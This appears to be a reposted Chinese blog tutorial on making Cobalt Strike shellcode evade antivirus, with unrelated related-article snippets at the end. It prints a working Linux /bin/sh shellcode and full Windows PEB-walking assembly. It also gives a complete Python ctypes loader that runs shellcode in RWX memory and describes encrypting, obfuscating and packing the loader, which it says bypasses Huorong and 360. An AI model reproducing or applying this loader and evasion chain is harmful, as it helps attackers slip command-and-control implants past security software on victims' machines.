cobaltstrike的shellcode免杀

news/2024/10/27 22:54:39/

基础概念

shellcode是一段用于利用软件漏洞而执行的代码,也可以认为是一段填充数据,shellcode为16进制的机器码,因为经常让攻击者获得shell而得名。shellcode常常使用机器语言编写。 可在暂存器eip溢出后,塞入一段可让CPU执行的shellcode机器码,让电脑可以执行攻击者的任意指令。

运行流程

如下图所示,shellcode的主要木的是为了获取计算机的权限,可配合有缓冲区漏洞程序使用

img

Shellcode在漏洞样本中的存在形式一般为一段可以自主运行的汇编代码,不依赖任何编译环境,也不能像在IDE中直接编写代码调用API函数名称来实现功能,而是通过主动查到dll基址并动态获取api地址的方式来实现api调用,然后根据实功能调用想用的api函数来完成其自身的功能。

在这里插入图片描述

获取kernel32基址

获取Kernel32 基址的常见方法有暴力搜索、异常处理链表搜索和TEB ( Thread EnvironmentBlock)搜索。这里只介绍目前最常用的动态获取Kernel32.dll 基址的方法一-TEB 查找法。其原理是:在NT内核系统中, fs 寄存器指向TEB结构, TEB+0x30偏移处指向PEB ( Process EnvironmentBlock )结构,PEB+0x0c偏移处指向PEB LDR DATA结构, PEB LDR_ DATA+0xlc 偏移处存放着程序加载的动态链接库地址,第1个指向Ndl.dII, 第2个就是Kerel32.dl的基地址。

从Windows Vista 开始,程序中DLL基址的加载顺序发生了变化,在固定的位置已经不能得到正确的Kernel32 基址了,因此,需要在列表中对各DLL模块的名称加以判断,才能得到正确的Kernel32基址。

image-20230129141007472

获取api地址

从DLL文件中获取API地址的方法如图14.12 所示,步骤如下。

在DLL基址+ 3ch偏移处获取e_ lfanew 的地址,即可得到PE文件头。
在PE文件头的78h偏移处得到函数导出表的地址。
在导出表的lch 偏移处获取AddressOfFunctions 的地址,在导出表的20h偏移处获取AddressOfNames的地址,在导出表的24h偏移处获取AddressOfNameOrdinalse的地址。
AddressOfFunctions 函数地址数组和AddressOfNames 函数名数组通过函数AddressOfNameOrdinalse一一对应。

image-20230129141016341

在实际应用中,如果API函数名直接以明文出现,就会降低shellcode的分析难度,而且api函数名称占用空间一般比较大,这会使shellcode的体积跟着增大。
利用hash算法将要获取的函数名称转换为4字节的hash值,在搜索过程中按此算法计算dll中的文件名称的hash值,对比两个hash是否相同,这样就有效减小了shellocde的体积,同时提高了shellcode的隐蔽性

具体实例

以下实例取自swallow大佬文章,写的非常漂提否!

Linux平台

此部分代码是在Ubuntu平台下完成,原因:mac下32位的C语言类库已经没有了,而相关汇编的关联需要32位库。且64位框架兼容32位,不想有太多有的没的问题,选Ubuntu简单直接。

一般编写思路为通过一个int 0x80系统调用,指定想调用的函数的系统调用号,传入调用函数的参数。

编写C/C++代码

首先,我们先编写C/C++代码实现下获取Linux下shell

image-20220614142428791

编译运行下

image-20220614142537555

编写汇编代码

Shellcode简单来说,其实是获取相关汇编代码执行过程中产生的16进制机器码。本节需将上节C/C++代码转换为汇编代码,代码转换结果如下:

image-20220628101731255

获取机器码

image-20220614142745875

通过上图几步骤,我们即可获取32位即X86平台下的执行的机器码。

\x31\xc0\x31\xd2\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\xb0\x0b\xcd\x80

后续我们即可将获取的机器码,应用到我们发现的缓冲区溢出的漏洞利用或其他代码中,例如:

image-20220614142843270

编译运行,提示需要root权限。

image-20220614142941105

gcc -m32 -g -z execstack -fno-stack-protector -o stack stack.c

  • 详细解释:
    • GCC编译器有一种栈保护机制来阻止缓冲区溢出,所以我们在编译代码时需要用 –fno-stack-protector 关闭这种机制;
    • -z execstack 用于允许执行栈;
    • -m32 -g 在64位的机器上产生32位汇编。

报错:/usr/include/stdio.h:27:10: fatal error: bits/libc-header-start.h: No such file or directory

解决方式:sudo apt install gcc-multilib

原因:这是由于缺少相应的32位库文件导致的。

其他内容

当PUSH内容时,asm脚本内容下:

image-20220523183348701

获取机器码如下,在Linux系统中遇到00会停止运行。导致我们获取的到的shellcode无法正常执行。在Linux中"//“和”/"作用相似,当采用双斜杠是刚好帮我们补齐了内容位置,使得代码可正常执行。

image-20220523183310938

Int 0X80中断原理

第一步,就是须要将系统调用号加入到eax中。 第二步,ebx保存函数调用的第一个参数,ecx、edx、esi、edi分别对应这2345个参数。 若是参数超过5个,就必须将参数数组存储在内存中,并且必须将该数组的地址放在ebx中。 一旦加载寄存器后,就会调用int 0x80 汇编指令来中断,强迫内核暂停手头上的工做并处理该中断,从而使得系统调用syscall。

Windows平台

在Windows下,没有int 0x80系统调用功能来寻找函数,但也有像syscall这样的系统调用。Windows相对liunx下会麻烦些,针对相关加载需要一定的dll入口进行辅助调用,这个时候需要我们对利用dll的相关信息进行获取。

编写C/C++代码

在Windows下启动vc++ 6.0 编写并运行代码,效果如下:

image-20220628132712349

代码中,我通过system成功执行了dir命令,并显示了相关的命令执行的结果

编写汇编代码

根据上面Linux的经验,这一步我们来编写Windows下shellcode生成的汇编代码,效仿Linux进行编写,效果如下:

image-20220628140208906

我们发现这个地方我们的传入的dir字符串仅仅是完成了入栈的过程,并没有没有被system所执行。此处就是Windows和Linux下的一个比较大的区别,即我们在编写汇编代码是需要获取到系统执行命令的相关内存地址的。

获取相关内存地址

获取system的内存执行地址,由于Windows的ASLR的原因,同一个函数在每一台机器上的内存地址是不一样的。编写简易代码进行内存地址的获取,其执行结果如下:

image-20220628135230494

重新编写汇编代码

上述思路告诉我们在本地上编写shellcode的一个思路:获取相关函数的地址,压入相关数据并进行执行。后面机器码的获取,我们通过VC++的debug即可进行相关内容获取。但我们重新完善上述的汇编代码生成的shellcode仅具备单一性,不具备一定的通用性,故我们在这一节重新编写具备通用性、独立性的汇编代码。

在这一节,踩了很多很多的坑,大部分是环境的问题。尝试许久之后,还是偷懒换成了xp SP3系统下使用vc++,Windows下shellcode前面的内容是在Windows7下完成,此节在Windows7下编译运行会报错:

image-20220629142542302

因为这一节涉及内容很长,就先看一下实际的运行效果吧!

image-20220629142200619

接下来,我们开始讲一下整个的代码的流程

1.找到kernel32.dll被加载到内存中

我们要调用一个函数,必须要知道其地址,而我们在调用函数时又必须要载入链接库,那么我们就必须要知道LoadLibrary()函数地址,获取地址需要函数GetProcAddress(),而GetProcAddress()函数在“kernel32.dll”的里面。所以,我们在寻找地址时,需要用到这么几个关键字“kernel32.dll”、”GetProcAddress()”、”LoadLibrary()”。

正如我们在前面讲的的那样,为了生成可靠的shellcode代码,我们需要遵循一些步骤。我们知道要调用什么函数,但是首先,我们必须找到这些函数,在前面已经讨论了怎么调用函数地址的步骤。

我们可以利用PEB结构找到kernel32.dll。使用以下代码将dll库加载到内存中

xor ecx, ecx
mov eax, fs:[ecx + 0x30]        ; EAX = PEB
mov eax, [eax + 0xc]            ; EAX = PEB->Ldr
mov esi, [eax + 0x14]           ; ESI = PEB->Ldr.InMemOrder
lodsd                           ; EAX = Second module
xchg eax, esi                   ; EAX = ESI, ESI = EAX
lodsd                           ; EAX = Third(kernel32)
mov ebx, [eax + 0x10]           ; EBX = Base address

2.找到其导出表

我们在内存中找到kernel32.dll。现在我们需要解析这个PE文件并找到导出表。

mov edx, [ebx + 0x3c]           ; EDX = DOS->e_lfanew
add edx, ebx                    ; EDX = PE Header
mov edx, [edx + 0x78]           ; EDX = Offset export table
add edx, ebx                    ; EDX = Export table
mov esi, [edx + 0x20]           ; ESI = Offset names table
add esi, ebx                    ; ESI = Names table
xor ecx, ecx                    ; EXC = 0

3.找到由kernel32.dll导出的GetProcAddress函数

我们现在在“AddressOfNames”上,一个指针数组(kernel32.dll的地址被加载到内存中。因此,每个4字节将表示一个指向函数名的指针。我们可以通过循环查找完整的函数名,函数名序号(GetProcAddress函数的“number”)如下:

;循环查找GetProcAddress函数
Get_Function:inc ecx                                          ; Increment the ordinallodsd                                            ; Get name offsetadd eax, ebx                                     ; Get function namecmp dword ptr[eax], 0x50746547                   ; GetPjnz Get_Functioncmp dword ptr[eax + 0x4], 0x41636f72             ; rocAjnz Get_Functioncmp dword ptr[eax + 0x8], 0x65726464             ; ddrejnz Get_Function

4.使用GetProcAddress查找LoadLibrary函数的地址

此时,我们只找到了GetProcAddress函数的序号,但是我们可以使用它来查找其他函数的实际地址:

mov esi, [edx + 0x24]              ; ESI = Offset ordinals
add esi, ebx                       ; ESI = Ordinals table
mov cx, [esi + ecx * 2]            ; CX = Number of function
dec ecx
mov esi, [edx + 0x1c]              ; ESI = Offset address table
add esi, ebx                       ; ESI = Address table
mov edx, [esi + ecx * 4]           ; EDX = Pointer(offset)
add edx, ebx                       ; EDX = GetProcAddress

5.使用LoadLibrary来加载动态链接库

利用GetProcAddress()函数,我们可以找到LoadLibraryA()函数的地址。在实际中是没有LoadLibrary()这个地址的,LoadLibraryA()就等价于LoadLibrary()。

xor ecx, ecx            ; ECX = 0
push ebx                ; Kernel32 base address
push edx                ; GetProcAddress
push ecx                ; 0
push 0x41797261         ; aryA
push 0x7262694c         ; Libr
push 0x64616f4c         ; Load
push esp                ; “LoadLibraryA”
push ebx                ; Kernel32 base address
call edx                ; GetProcAddress(LL)

到这一步为止,我们已经完成了大部分Windows下调用的通用思路,下来就是个性目标函数的寻找。有了GetProcAddress()函数,我们就可以寻找任何函数的地址了。

6.在动态链接库中找到函数的地址

我们之前找到了LoadLibrary函数地址,现在我们将使用它来加载到内存中“msvcrt.dll”。包含我们的system函数的库。 这里有个问题是 “msvcrt.dll”的字符串长度为10个字符,不足12个字节,所以在剩余的2个字节我们用低位寄存器cx来存储(用什么寄存器不重要),cx是ecx寄存器的一半,ecx是32位寄存器,ecx存储高16位数据,cx存储低16位数据,这样可以避免产生坏字符。

add esp, 0xc                ; pop “LoadLibraryA”
pop  ecx                    ; ECX = 0
push eax                    ; EAX = LoadLibraryA
push ecx                    ; 6d737663   72742e64 6c6c 
mov  cx, 0x6c6c             ; ll
push ecx
push 0x642e7472             ; rt.d
push 0x6376736d             ; msvc
push esp                    ; “msvcrt.dll”c
call eax                    ; LoadLibrary(“msvcrt.dll”)

在编写过程中,我们可以把msvcrt.dll修改为任意DLL文件,但要注意字节数。

7.调用函数

我们加载了msvcrt.dll库,现在我们想调用GetProcAddress来获取system函数的地址。 这里呢,还是为了不产生坏字符,所以把字符串补够了4字节,然后删除。当然,我们也可以用低16位寄存器来存储,像上文那样。 在这个地方,因为上面我们用了16 位寄存器,所以我们下面恢复的字节就要比完整的32位寄存器字节数少一半。

add esp, 0x10                   ; Clean stack
mov edx, [esp + 0x4]            ; EDX = GetProcAddress
xor ecx, ecx                    ; ECX = 0
push ecx                        ;73797374 656d
mov  ecx,0x61626d65             ;emba
push ecx
sub dword ptr[esp + 0x3], 0x61  ; Remove “a”
sub dword ptr[esp + 0x2], 0x62  ; Remove “b”
push 0x74737973                 ; syst
push esp                        ; system
push eax                        ; msvcrt.dll address
call edx                        ; GetProc(system)

这个地方直接就可用前文所写的代码了,直接套用进框架就行,前提是要确保堆栈平衡。

add esp, 0x10                   ; Cleanup stack
push ebp
mov  ebp,esp
sub  esp,0x4                    ; 准备空间
xor  esi,esi
mov  esi,0x00726964             ; dir
mov  dword ptr[ebp-04h],esi
lea  esi, [ebp-04h]
push esi
call eax                        ; system("dir")add esp, 0x8                    ; Clean stack
pop esi

8.查找ExitProcess函数的地址

我们完成了整个函数的执行,为了不爆出错误,我们必须完美的退出这个程序,所以我们需要在kernel32.dll中找到ExitProcess函数。

;退出程序
pop edx                         ; GetProcAddress
pop ebx                         ; kernel32.dll base address
mov ecx, 0x61737365             ; essa
push ecx
sub dword ptr [esp + 0x3], 0x61 ; Remove “a”
push 0x636f7250                 ; Proc
push 0x74697845                 ; Exit
push esp
push ebx                        ; kernel32.dll base address
call edx                        ; GetProc(Exec)

9.调用ExitProcess函数

最后,我们调用ExitProcess函数:“ExitProcess(0)”。

xor ecx, ecx                   ; ECX = 0
push ecx                       ; Return code = 0
call eax                       ; ExitProcess

完整的代码

void main()
{_asm{xor ecx, ecxmov eax, fs:[ecx + 0x30] ; EAX = PEBmov eax, [eax + 0xc]     ; EAX = PEB->Ldrmov esi, [eax + 0x14]    ; ESI = PEB->Ldr.InMemOrderlodsd                    ; EAX = Second modulexchg eax, esi            ; EAX = ESI, ESI = EAXlodsd                    ; EAX = Third(kernel32)mov ebx, [eax + 0x10]    ; EBX = Base addressmov edx, [ebx + 0x3c]    ; EDX = DOS->e_lfanewadd edx, ebx             ; EDX = PE Headermov edx, [edx + 0x78]    ; EDX = Offset export tableadd edx, ebx             ; EDX = Export tablemov esi, [edx + 0x20]    ; ESI = Offset namestableadd esi, ebx             ; ESI = Names tablexor ecx, ecx             ; EXC = 0Get_Function:inc ecx                              ; Increment the ordinallodsd                                ; Get name offsetadd eax, ebx                         ; Get function namecmp dword ptr[eax], 0x50746547       ; GetPjnz Get_Functioncmp dword ptr[eax + 0x4], 0x41636f72 ; rocAjnz Get_Functioncmp dword ptr[eax + 0x8], 0x65726464 ; ddrejnz Get_Functionmov esi, [edx + 0x24]                ; ESI = Offset ordinalsadd esi, ebx                         ; ESI = Ordinals tablemov cx, [esi + ecx * 2]              ; Number of functiondec ecxmov esi, [edx + 0x1c]                ; Offset address tableadd esi, ebx                         ; ESI = Address tablemov edx, [esi + ecx * 4]             ; EDX = Pointer(offset)add edx, ebx                         ; EDX = GetProcAddressxor ecx, ecx    ; ECX = 0push ebx        ; Kernel32 base addresspush edx        ; GetProcAddresspush ecx        ; 0push 0x41797261 ; aryApush 0x7262694c ; Librpush 0x64616f4c ; Loadpush esp        ; "LoadLibrary"push ebx        ; Kernel32 base addresscall edx        ; GetProcAddress(LL)add esp, 0xc    ; pop "LoadLibrary"pop ecx         ; ECX = 0push eax        ; EAX = LoadLibrarypush ecxmov cx, 0x6c6c  ; llpush ecxpush 0x642e7472 ; rt.dpush 0x6376736d ; msvcpush esp        ; "msvcrt.dll"call eax        ; LoadLibrary("msvcrt.dll");system内存地址add esp, 0x10                       ; Clean stackmov edx, [esp + 0x4]                ; EDX = GetProcAddressxor ecx, ecx                        ; ECX = 0push ecx                            ; 73797374 656dmov  ecx,0x61626d65                 ; embapush ecxsub dword ptr[esp + 0x3], 0x61      ; Remove “a”sub dword ptr[esp + 0x2], 0x62      ; Remove “b”push 0x74737973                     ; systpush esp                            ; systempush eax                            ; msvcrt.dll addresscall edx                            ; GetProc(system)add esp, 0x10         ; Cleanup stack;执行核心程序push ebpmov  ebp,espsub  esp,0x4xor  esi,esimov  esi,0x00726964             ;dirmov  dword ptr[ebp-04h],esilea  esi, [ebp-04h]push esicall eax    ;堆栈平衡add esp,0x8  ;恢复esppop esi;退出程序pop edx                         ; GetProcAddresspop ebx                         ; kernel32.dll base addressmov ecx, 0x61737365             ; essapush ecxsub dword ptr [esp + 0x3], 0x61 ; Remove "a"push 0x636f7250                 ; Procpush 0x74697845                 ; Exitpush esppush ebx                        ; kernel32.dll base addresscall edx                        ; GetProc(Exec)xor ecx, ecx                    ; ECX = 0push ecx                        ; Return code = 0call eax                        ; ExitProcess}
}

shellcode加载器

主要流程

  • 调用VirtualAlloc函数,来申请一块可读可写可执行的动态内存区域。
  • 调用RtlMoveMemory函数,此函数从指定内存中复制内容至另一内存里。
  • 调用CreateThread函数,在主线程的基础上创建一个新线程。
  • 调用WaitForSingleObject函数,等待创建的线程运行结束。

将shellcode加载进内存并执行

函数介绍

VirtualAlloc

申请内存调用VirtualAlloc函数,来申请一块动态内存区域。VirtualAlloc函数原型和参数如下:

LPVOID VirtualAlloc{
LPVOID lpAddress, #要分配的内存区域的地址
DWORD dwSize,      #分配的大小
DWORD flAllocationType, #分配的类型
DWORD flProtect     #该内存的初始保护属性
};

在python中

ptr = ctypes.windll.kernel32.VirtualAlloc(ctypes.c_int(0),
ctypes.c_int(len(shellcode)), 
ctypes.c_int(0x3000),                                       
ctypes.c_int(0x40))

RtlMoveMemory

调用RtlMoveMemory函数可以将shellcode载入内存,此函数从指定内存中复制内容至另一内存里。RtlMoveMemory函数原型和参数如下

RtlMoveMemory(Destination,Source,Length);
Destination :指向移动目的地址的指针。
Source :指向要复制的内存地址的指针。
Length :指定要复制的字节数。

在python中

buf = (ctypes.c_char * len(shellcode)).from_buffer(shellcode)
ctypes.windll.kernel32.RtlMoveMemory(ctypes.c_int(ptr),buf, ctypes.c_int(len(shellcode)))

CreateThread

创建进程调用CreateThread将在主线程的基础上创建一个新线程CreateThread函数原型和参数如下:

HANDLE CreateThread(
LPSECURITY_ATTRIBUTES lpThreadAttributes,#线程安全属性
SIZE_T dwStackSize,       #置初始栈的大小,以字节为单位
LPTHREAD_START_ROUTINE lpStartAddress,  #指向线程函数的指针
LPVOID lpParameter,          #向线程函数传递的参数
DWORD dwCreationFlags,       #线程创建属性
LPDWORD lpThreadId           #保存新线程的id
)

在python

handle = ctypes.windll.kernel32.CreateThread(ctypes.c_int(0),ctypes.c_int(0),ctypes.c_uint64(ptr),ctypes.c_int(0),ctypes.c_int(0),ctypes.pointer(ctypes.c_int(0))

WaitForSingleObject

等待线程结束调用WaitForSingleObject函数用来检测线程的状态WaitForSingleObject函数原型和参数

DWORD WINAPI WaitForSingleObject(
__in HANDLE hHandle,     #对象句柄。可以指定一系列的对象
__in DWORD dwMilliseconds  #定时时间间隔
);

在python里

ctypes.windll.kernel32.WaitForSingleObject(ctypes.c_int(handle), ctypes.c_int(-1))

正常的话我们创建的线程是需要一直运行的,所以将时间设为负数,等待时间将成为无限等待,程序就不会结束

完整代码

使用msf或者cs生成一段shellcode运行脚本就能获取权限

正常的话我们创建的线程是需要一直运行的,所以将时间设为负数,等待时间将成为无限等待,程序就不会结束

import ctypesbuf = b"shellcode内容"shellcode = bytearray(buf)
# 设置VirtualAlloc返回类型为ctypes.c_uint64
ctypes.windll.kernel32.VirtualAlloc.restype = ctypes.c_uint64
# 申请内存
ptr = ctypes.windll.kernel32.VirtualAlloc(ctypes.c_int(0), ctypes.c_int(len(shellcode)), ctypes.c_int(0x3000),ctypes.c_int(0x40))# 放入shellcode
buf = (ctypes.c_char * len(shellcode)).from_buffer(shellcode)
ctypes.windll.kernel32.RtlMoveMemory(ctypes.c_uint64(ptr),buf,ctypes.c_int(len(shellcode))
)
# 创建一个线程从shellcode防止位置首地址开始执行
handle = ctypes.windll.kernel32.CreateThread(ctypes.c_int(0),ctypes.c_int(0),ctypes.c_uint64(ptr),ctypes.c_int(0),ctypes.c_int(0),ctypes.pointer(ctypes.c_int(0))
)
# 等待上面创建的线程运行完
ctypes.windll.kernel32.WaitForSingleObject(ctypes.c_int(handle), ctypes.c_int(-1))

可用pyinstaller 打包为可执行程序

 pip install pyinstaller pyinstaller -F shellcode的py文件

shellcode免杀加载器

思路

本项目是基于学习shellcode原理和免杀基础而编写,主要利用加密、缩小体积、混淆等方式绕过检测,主要是为了应付火绒和360。

https://github.com/xinghe0/cs_shellcode_loader_py

加密

base64、aes、位移密码、异或等

混淆

将代码复制到在线混淆站点进行混淆,https://pyob.oxyry.com

打包

pip install pyinstallerpyinstaller.exe -Fw -i tomcat.ico --key=xinghe ms_run1.py  

先安装UPX,复制到Script目录下,能缩小exe体积

https://github.com/upx/upx/releases/tag/v4.0.2

使用

使用cs生成py的shellcode,将文件到该项目下

image-20230131151300783

运行 shellcode_ encry.py ,将生成的加密shellcode复制到 ms_run.py 88 行的shellcode 上,在网站进行代码混淆 https://pyob.oxyry.com

命名为ms_run1.py,执行打包命令

pyinstaller.exe -Fw -i tomcat.ico --key=xinghe ms_run1.py  

效果

没进行加密等操作之前

image-20230131140641459

进行了加密等操作后,过火绒和360没问题

image-20230131152346355

image-20230131152435628

image-20230131153248339

image-20230131153315429

参考:

https://blog.csdn.net/weixin_43916678/article/details/107181228

https://blog.csdn.net/solitudi/article/details/115283329

https://www.nday.top/2020/12/07/Python%20Shellcode%E5%8A%A0%E8%BD%BD%E5%99%A8%E7%BB%95%E8%BF%87AV/


http://www.ppmy.cn/news/21703.html

相关文章

ADB 开启 USB调试后,无法自动弹出调试授权窗口的解决方法

之前介绍了 Android Device Unauthorized 的解决方案,这次将分享 开启 USB调试后,无法自动弹出调试授权窗口的解决方法。即使选择在 “仅充电” 的情况下去调试,结果都一样。 在我自己的工程机 (荣耀系列的) 连上电脑后,USB 连接方…

myBaits Target Capture Kits;myBaits 靶向捕获试剂盒,快速捕获富集目标序列

myBaits Target Capture Kits可以快速捕获富集目标序列,提高NGS研究效率,兼容Illumina,PacBio 和 Nanopore等多种测序平台。Arbor Biosciences使用oligo合成专利技术,为您提供高质量、高性价比的捕获试剂盒。适用于各种基因组类型…

湫湫系列故事——减肥记Ⅰ(Python)

Python——动态规划——湫湫系列故事——减肥记Ⅰ 湫湫系列故事——减肥记Ⅰ 问题引入 【问题描述】 对于吃货来说,过年最幸福的事就是吃了,没有之一!但是对于女生来说,卡路里(热量)是天敌啊!资深美女湫湫深谙“胖来如山倒,胖去如抽丝”的道理,所以她希望你能帮忙制…

Linux基本指令

文章目录:前言Linux基本指令1. whoami2. ls3.pwd4. clear5. cd6. touch7. tree8. nano9. stat10. mkdir11. rmdir12. rm13. man14. cp15. mv16. cat17.echo18. wc19. more20.less21. head22. tail23. 补充:|24. data25. car26. sort27. uniq28. find29. …

【C++修炼之路】C++入门(下)

👑作者主页:安 度 因 🏠学习社区:StackFrame 📖专栏链接:C修炼之路 文章目录一、前言二、内联函数1、概念2、特性三、auto(C 11)1、概念2、价值3、三个不能四、范围for循环(C11)1、基本使用2、使…

SQL中CONVERT()函数用法详解

SQL中CONVERT函数格式: CONVERT(data_type,expression[,style]) 参数说明: expression 是任何有效的 Microsoft SQL Server™ 表达式。。 data_type 目标系统所提供的数据类型,包括 bigint 和 sql_variant。不能使用用户定义的数据类型。 length nchar、nva…

Android studio:Could not find method compile() for arguments 问题解决及两种解决方法探讨延伸

Could not find method compile() for arguments 问题全称 Could not find method compile() for arguments [org.tensorflow:tensorflow-lite:] on object of type org.gradle.api.internal.artifacts.dsl.dependencies.DefaultDependencyHandler. 如图 解决方法1(简单) …

羽毛球学习经验总结

羽毛球技巧总结 2022.4.28 1.接球看准球头再接 2.接发球就两个点,想好再接 3.接发球挑后场左脚在前 4.发球前想好下一个球怎么接,两个点 5.迈步先迈右脚,不然只能迈两步够不着球,拍子跟着脚步走 6.双打不要回头,容易受…